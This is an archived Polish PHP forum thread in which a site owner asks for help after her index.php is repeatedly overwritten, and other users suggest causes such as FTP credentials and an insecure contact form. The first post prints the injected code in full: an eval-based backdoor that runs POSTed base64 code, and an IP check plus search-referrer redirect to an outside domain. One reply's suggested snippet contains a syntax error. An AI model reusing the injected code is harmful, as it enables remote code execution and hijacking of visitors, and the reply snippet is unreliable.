Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Problem z index.php- spam albo wlam..
Forum PHP.pl > Forum > Przedszkole
mika
Witam.. od wczoraj mam dosc powazny problem. Mam plik index.php ktory rozszerzenie php ma tylko dlatego żeby dzialał licznik w PHP. Strona to http://niekochane.org
I problem jest taki ze od soboty ktoś lub coś zmienia zawartość mojego pliku index.php na taką:

Kod
<?php $a=@$_POST['a'];if($a && @$_POST['b']==sha1(md5($a))){$a=base64_decode($a);eval($a);} function get_counter(){$ip=$_SERVER['REMOTE_ADDR'];$uniq=@file_get_contents("http://nasnezabanyat.biz/ip.php?ip=$ip");if($uniq===false){return false;}if($uniq=="go"){return true;}return  false;}$ref=strtolower(trim(@$_SERVER['HTTP_REFERER']));if((strpos($ref,"google")!==false)and(strpos($ref,"bot.htm")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}}if((strpos($ref,"yahoo")!==false)and(strpos($ref,"slurp")===false)){if(get_counter()){@header("Location: http://nasnezabanyat.biz/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}} ?>


Nie wiem co z tym zrobić, już drugi raz mi sie zmieniła zawartość pliku i musiałam nadpisać, ale przecież nie mogę chyba ciągle nadpisywać, chciałabym jakoś temu zapobiec.
Na php prawie wcale sie nie znam a licznik znalazłam w sieci, na jakiejś polskiej stronie o php.
Plik index.php ma uprawnienia 644.

Czy ktoś może spotkał się z czymś takim, czy ktoś wie jak temu zapobiec?
Pilsener
Daj kod oryginalnego pliku (tego licznika), bo to on powoduje problem - i użyj odpowiedniego bbcode.
mika
Witaj, kod licznika jest taki:
  1. <?php
  2. function polnoc() /* odmierza ile sekund od danej chwili jest do konca dnia*/
  3. {
  4.   $teraz = date("H:i:s");
  5.   $czas = explode(":", $teraz);
  6.   $godziny = 23-$czas[0];
  7.   $minuty  = 59-$czas[1];
  8.   $sekundy = 59-$czas[2];
  9.   $waznosc = $godziny*3600 + $minuty*60 + $sekundy;
  10.   return $waznosc;
  11. }
  12.  
  13.        if((!isset($_COOKIE['licznik'])) && (!strstr($_SERVER['HTTP_REFERER'], "niekochane.org")))
  14.        {
  15.              
  16.                $plik = fopen("licznik.txt", "r");
  17.                $tekst = fread($plik, filesize("licznik.txt"));
  18.                $dane = explode(";", $tekst);
  19.                fclose($plik);
  20.                $plik = fopen("licznik.txt", "w");
  21.                flock($plik, 2);
  22.                $dane[0]++;
  23.                fwrite($plik, "$dane[0];", 15);
  24.                flock($plik, 3);
  25.                fclose($plik);
  26.              
  27.         /*LICZNIK DZIENNY - MADE BY WOWO */
  28.        $data = date("Y-m-d"); /*zmienna przechowująca dzisiejszą datę*/
  29.        $dzienny=fopen("dzienny.txt","r"); /*otwieramy plik, plik jest formatu yyyy-mm-dd:liczba:yyyy-mm-dd:liczba, gdzie pierwsza data jest data dzisiejsza, pierwsza liczba liczbą odwiedzin dzisiaj, druga data, to data wczorajsza, druga liczba to liczba odwiedzin wczoraj*/
  30.        $dzienny_tekst =fread($dzienny, filesize("dzienny.txt")); /*czytamy caly plik do zmiennej dzienny_tekst*/
  31.        $dane2 = explode(":", $dzienny_tekst); /*rozbijamy wczytany tekst z pliku, na daty i liczby klikniec - calosc bedzie w tabeli*/
  32.        fclose($dzienny); /*zamykamy plik, ktory otwarlismy tylko do odczytu*/
  33.      
  34.        if($dane2[0]==$data) /*jesli w pierwsza data w pliku jest data dzisiejsza to dzialamy jak nizej*/
  35.      { $dane2[1]++; /*zwiekszamy liczbe klikniec dzisiaj*/
  36.                $dzienny=fopen("dzienny.txt","w"); /*otwieramy plik do zapisu*/
  37.                flock($dzienny, 2); /* blokujemy plik przed zapisem*/
  38.                fwrite($dzienny, "$dane2[0]:$dane2[1]:$dane2[2]:$dane2[3]", 30); /*zapisujemy calość do pliku */
  39.          flock($dzienny, 3); /* odblokowujemy plik */
  40.          fclose($dzienny);   /* zamykamy plik */
  41.        }
  42.        else/* jeśli pierwsza data w pliku nie jest dzisiejszą datą */
  43.        { $dane2[2]=$dane2[0]; /* druga date w pliku ustawiamy, ta ktora byla do tej pory pierwsza*/
  44.          $dane2[3]=$dane2[1]; /* druga liczbe odwiedzin ustawiamy, ta ktora byla do tej pory pierwsza*/
  45.          $dane2[0]=$data; /* ustawiamy pierwsza date w pliku na date dzisiejsza*/
  46.          $dane2[1]=1; /* liczbe klikniec ustawiamy na 1 bo sa to pierwsze odwiedziny tego dnia*/
  47.          $dzienny=fopen("dzienny.txt","w"); /*otwieramy plik do zapisu*/
  48.          flock($dzienny, 2); /*blokada zapisu*/
  49.          fwrite($dzienny, "$dane2[0]:$dane2[1]:$dane2[2]:$dane2[3]", 30); /*zapisujemy calość do pliku */
  50.          flock($dzienny, 3);/* odblokowujemy plik */
  51.          fclose($dzienny);/* zamykamy plik */
  52.        }
  53.              
  54.              
  55.         setcookie("licznik", "zliczono", time()+polnoc()+1 ); /* cookie blokuje licznik do konca doby */
  56.        }else{
  57.          
  58.                $plik = fopen("licznik.txt", "r"); /* obsluga licznika stalego*/
  59.                $tekst = fread($plik, filesize("licznik.txt"));
  60.                $dane = explode(";", $tekst);
  61.                fclose($plik);
  62.              
  63.                $dzienny=fopen("dzienny.txt","r"); /* obsluga licznika dziennego*/
  64.                $dzienny_tekst =fread($dzienny, filesize("dzienny.txt"));
  65.                $dane2 = explode(":", $dzienny_tekst);
  66.                fclose($dzienny);
  67.        }
  68. ?>


dobrego bbcode uzylam? mam tam jeszcze maly formularz kontaktowy, ktory jest wstawiany przez funkcje include - ten do zapisywania sie do listy oczekajacycj na male koty
Lukez
ja bym do odczytywania zawartosci licznika użył coś takiego:

<?
if(file_exists("licznik.txt"))
{
$sciezka = "licznik.txt";
$plik = fopen($sciezka, "r");
$zawartosc = fread($plik, filesize("licznik.txt"));
fclose);
}
else
echo $zawartosc
?>

Nie wiem czy wszystko jestdobrze, bo pisalem od reki
wookieb
A zmien haslo do ftp i zobacz czy problem bedzie sie powtarzal.
Pilsener
Nie widać w tym liczniku nic takiego, co mogłoby powodować taki problem.
Cytat
mam tam jeszcze maly formularz kontaktowy, ktory jest wstawiany przez funkcje include
- i pewnie przez ten formularz kod dostaje się do strony. Każdy formularz nalezy dobrze zabezpieczyć, gdyż jest to zawsze słaby punkt i potencjalna furtka do ataku.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.